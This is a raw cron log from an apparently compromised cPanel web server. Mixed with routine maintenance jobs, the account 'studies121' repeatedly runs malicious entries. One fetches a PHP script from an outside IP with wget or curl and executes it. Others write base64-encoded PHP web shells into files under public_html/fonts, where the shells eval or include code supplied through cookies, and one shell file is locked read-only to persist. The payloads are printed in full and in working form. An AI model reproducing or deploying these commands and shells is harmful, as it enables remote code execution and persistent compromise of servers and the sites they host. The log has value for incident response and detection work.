Aug 31 17:30:01 ip-184-168-122-23 CROND[4457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:30:01 ip-184-168-122-23 CROND[4453]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:30:01 ip-184-168-122-23 CROND[4454]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:31:01 ip-184-168-122-23 CROND[4549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:31:01 ip-184-168-122-23 CROND[4551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:31:01 ip-184-168-122-23 CROND[4552]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 17:31:01 ip-184-168-122-23 CROND[4550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:31:01 ip-184-168-122-23 CROND[4554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:32:01 ip-184-168-122-23 CROND[4678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:32:01 ip-184-168-122-23 CROND[4680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:32:01 ip-184-168-122-23 CROND[4681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:32:01 ip-184-168-122-23 CROND[4683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:32:01 ip-184-168-122-23 CROND[4682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:33:01 ip-184-168-122-23 CROND[4768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:33:01 ip-184-168-122-23 CROND[4771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:33:01 ip-184-168-122-23 CROND[4770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:33:01 ip-184-168-122-23 CROND[4773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:34:01 ip-184-168-122-23 CROND[4858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:34:01 ip-184-168-122-23 CROND[4863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:34:01 ip-184-168-122-23 CROND[4861]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:34:01 ip-184-168-122-23 CROND[4862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:34:01 ip-184-168-122-23 CROND[4860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:35:01 ip-184-168-122-23 CROND[4964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:35:01 ip-184-168-122-23 CROND[4967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:35:01 ip-184-168-122-23 CROND[4968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:35:01 ip-184-168-122-23 CROND[4969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:35:01 ip-184-168-122-23 CROND[4972]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 17:35:01 ip-184-168-122-23 CROND[4974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:35:01 ip-184-168-122-23 CROND[4971]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 17:35:01 ip-184-168-122-23 CROND[4973]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:36:01 ip-184-168-122-23 CROND[5075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:36:01 ip-184-168-122-23 CROND[5077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:36:01 ip-184-168-122-23 CROND[5076]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:36:01 ip-184-168-122-23 CROND[5080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:36:01 ip-184-168-122-23 CROND[5078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:37:01 ip-184-168-122-23 CROND[5170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:37:01 ip-184-168-122-23 CROND[5172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:37:01 ip-184-168-122-23 CROND[5171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:37:01 ip-184-168-122-23 CROND[5173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:38:01 ip-184-168-122-23 CROND[5347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:38:01 ip-184-168-122-23 CROND[5349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:38:01 ip-184-168-122-23 CROND[5352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:38:01 ip-184-168-122-23 CROND[5350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:38:01 ip-184-168-122-23 CROND[5351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:39:01 ip-184-168-122-23 CROND[5431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:39:01 ip-184-168-122-23 CROND[5432]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:39:01 ip-184-168-122-23 CROND[5434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:39:01 ip-184-168-122-23 CROND[5435]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 17:39:01 ip-184-168-122-23 CROND[5433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:40:01 ip-184-168-122-23 CROND[5532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:40:01 ip-184-168-122-23 CROND[5534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:40:01 ip-184-168-122-23 CROND[5535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 17:40:01 ip-184-168-122-23 CROND[5539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:40:01 ip-184-168-122-23 CROND[5540]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 17:40:01 ip-184-168-122-23 CROND[5541]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:40:01 ip-184-168-122-23 CROND[5543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 17:40:01 ip-184-168-122-23 CROND[5544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:41:01 ip-184-168-122-23 CROND[5654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 17:41:01 ip-184-168-122-23 CROND[5657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:41:01 ip-184-168-122-23 CROND[5655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 17:41:01 ip-184-168-122-23 CROND[5656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:42:01 ip-184-168-122-23 CROND[5748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 17:42:01 ip-184-168-122-23 CROND[5750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 17:42:01 ip-184-168-122-23 CROND[5751]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 17:42:01 ip-184-168-122-23 CROND[5752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
